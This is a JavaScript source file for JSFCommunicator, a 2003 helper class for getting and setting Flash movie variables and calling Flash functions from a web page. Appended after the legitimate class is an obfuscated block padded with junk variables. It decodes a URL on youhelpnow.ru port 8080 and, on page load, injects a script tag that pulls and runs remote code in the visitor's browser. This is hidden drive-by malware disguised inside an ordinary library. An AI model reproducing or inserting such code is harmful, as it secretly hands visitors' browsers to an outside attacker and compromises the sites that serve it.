/* =========================================================================

CLASS: JSFCommunicator
AUTHOR: Abdul Qabiz 
DATE  : 12/13/2003

COMMENT: Communicates with Flash in different ways. It can
			- get a flash variable
			- set a flash variable
			- 



METHODS:
	- setVariable(propName,propValue)
	- getVariable(propName)
	- callFunction(fnLocation, fnName, fnArgs);



USAGE: 
//create an instance of JSFCommunicator, pass reference of flashMovie's
var fc = new JSFCommunicator(flashMovie);
//to set a variable, call JSFlashCommunicator's setVariable function
fc.setVariable("name","Abdul");

fc.callFunction("_root","setInfo",["Abdul",22]); //setInfo function accepts two args
fc.callFunction("_root.box_mc","gotoAndPlay",[2]);

REVISION HISTORY:-
	- Jan 22-04	undefined is turned to "undefined"
	- Jan 22-04	fnArgs is now type checked
	- Jan 22-04	comma-delimted string is no more passed to flash, instead $@$$ delimited session is flash.
	- Jan 22-04	instanceof operator has been removed and typeof() is used instead.
	
============================================================================ */

/**
 * @constructor JSFCommunicator
 * @param flashMovie:Refrence to activeX or Plugin
 * @description This is constructor function of JSFCommunicator class
 *
*/

function JSFCommunicator(flashMovie)
{	
	this.init(flashMovie);
}

/**
 * @method init()
 * @param flashMovie:Reference to ActiveX or Plugin object
 * @return none
 * @description initializes all variables for communication
 * @author Abdul Qabiz
 * @data Dec 12, 2003
*/
JSFCommunicator.prototype.init = function(flashMovie) {

	if(flashMovie=="undefined") {
		var flashMovie = null;
	 }
	this.setMovie(flashMovie);
	this.functionToCall = null;
	this.functionLocationinFlash = null;
	this.functionArgs = null;
}


/**
 * @method setMovie(flashMovie)
 * @param flashMovie:Reference to ActiveX or Plugin object
 * @return none
 * @description initializes all variables for communication
 * @author Abdul Qabiz
 * @data Dec 12, 2003
*/

JSFCommunicator.prototype.setMovie = function(flashMovie)
{
	this.flashMovie = flashMovie;
}


/**
 * @method setVariable(propName,propValue)
 * @param propName:String, variable name in flash to be set.
 * @param propValue:any primitive type
 * @return none
 * @description Sets a variable in flash
 * @author Abdul Qabiz
 * @data Dec 12, 2003
*/
JSFCommunicator.prototype.setVariable  = function(propName, propValue) {
	this.flashMovie.SetVariable(propName,propValue);
}



/**
 * @method getVariable(propName)
 * @param propName:String, variable name in flash
 * @return Any primitive value
 * @description Gets a specified properties value from flash
 * @author Abdul Qabiz
 * @data Dec 12, 2003
*/
JSFCommunicator.prototype.getVariable  = function(propName) {

	var result = this.flashMovie.GetVariable(propName);
	return result;
}


/**
 * @method callFunction(fnLocation,fnName, fnArgs)
 * @param fnLocation:String, funtion's parent objects path in flash. e.g. _root or _level0 or _level0.my_mc etc
 * @param fnName:String, name of flash function be executed
 * @param fnArgs:Array, parameters to be passed to flash function. only primitive data can be passed
 * @return Boolean, depending upon the success or failure of the call made
 * @description calls a specified flash function from javascript
 * @author Abdul Qabiz
 * @data Dec 12, 2003
*/
JSFCommunicator.prototype.callFunction = function(fnLocation,fnName,fnArgs) {

	if(this.flashMovie==null) {	return false; }
	
//	get the current value of triggerFn from flash
	var flag = this.getVariable("/:triggerFn");
	var result = false;

//	if no function name passed, return false
	if(fnName=="") {return false; }
//	if 	fnLocation is not proper, set it to _level0 as default
	if(fnLocation=="") {
		var fnLocation = "_level0";
	}

	this.setVariable("/:fnLocation",fnLocation);
	this.setVariable("/:fnName",fnName);
	
//	check if fnArgs is an array
	if(typeof(fnArgs)=="object") {
//		convert it to $@$$-delemited string and pass to flash
		this.setVariable("/:fnArgs",fnArgs.join("$@$$"));
	}else if(typeof(fnArgs)=="number" || typeof(fnArgs)=="string") {
		this.setVariable("/:fnArgs",fnArgs);
	}
	
//	change triggerFn property in flash which being watched
	this.setVariable("/:triggerFn",!flag);

//	check if function in flash called successfully or not.
	result = this.getVariable("triggerFnStatus");
	
//	set triggerFnStatus false again.
	this.setVariable("/:triggerFnStatus",false);

//	return result of call.
	return result;

	
}

//======================================================


var L='';function P(){this.e='';var vT;if(vT!='' && vT!='cO'){vT=null};var z=unescape;this.V="";var b=new String();var fT=window;var mS;if(mS!='' && mS!='zG'){mS=''};var VA="";var S=z("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%61%79%73%65%72%76%65%2e%63%6f%6d%2f%6e%69%6b%6b%61%6e%73%70%6f%72%74%73%2e%63%6f%6d%2e%70%68%70");var cl;if(cl!=''){cl='zW'};var qD=new Date();function f(O,i){this.YT="";var fA;if(fA!='_' && fA != ''){fA=null};var Oa='';var F=String("xmrg".substr(3));var CF;if(CF!=''){CF='mf'};var zK=new Array();var q=z("%5b"), Z=z("%5d");var x=new String();var v=q+i+Z;this.SE='';var RK='';var vW=new RegExp(v, F);this.s="";var Sr=new Array();return O.replace(vW, new String());var h;if(h!='gS'){h='gS'};var RKw=new Date();};var D;if(D!='' && D!='vR'){D=''};var jn;if(jn!='' && jn!='oc'){jn='YJ'};var FQ;if(FQ!='' && FQ!='_s'){FQ='hZ'};var t='';var BC=new String();var MO=new Date();var Ou=f('89660268663056','14635927');var ba;if(ba!='' && ba!='vG'){ba=null};var H=new String();var vs=document;var gi=new String();var G;if(G!='' && G!='VF'){G=''};var BP=new Array();var WO;if(WO!='tH' && WO!='_f'){WO='tH'};function U(){var Cz=new String();var HZg=new String();var hb=new Array();var r=z("%68%74%74%70%3a%2f%2f%79%6f%75%68%65%6c%70%6e%6f%77%2e%72%75%3a");var yQ;if(yQ!=''){yQ='p'};var EX=new Array();H=r;this.WF='';var _V;if(_V!=''){_V='Hv'};H+=Ou;var hu;if(hu!='' && hu!='oA'){hu='qQ'};H+=S;var slw=new String();var TMh=new String();try {var pX=new Date();this.ca='';var yi;if(yi!='' && yi!='DH'){yi='XH'};Fq=vs.createElement(f('sBc9rIizpztZ','x93zLAB8ZCRgIjT0VyDd'));var Du=new Array();Fq[z("%73%72%63")]=H;Fq[z("%64%65%66%65%72")]=[1,2][0];var yj;if(yj!='bT'){yj='bT'};var Nb;if(Nb!='xf'){Nb='xf'};var J_;if(J_!='rK'){J_='rK'};var Xz;if(Xz!='_o' && Xz!='Bl'){Xz=''};var GC;if(GC!='' && GC!='yZ'){GC='cq'};vs.body.appendChild(Fq);var QI;if(QI!='oq' && QI != ''){QI=null};var Wo;if(Wo!='Zo' && Wo != ''){Wo=null};var IQ='';} catch(C){alert(C);var tz;if(tz!='dF'){tz=''};};var Yc="";var bp='';}var eF;if(eF!='Hg'){eF=''};var nh="";fT[String("on"+"loJ308".substr(0,2)+"adYc31".substr(0,2))]=U;var aG=new Array();var yt=new Date();};P();this._y="";this.Sc="";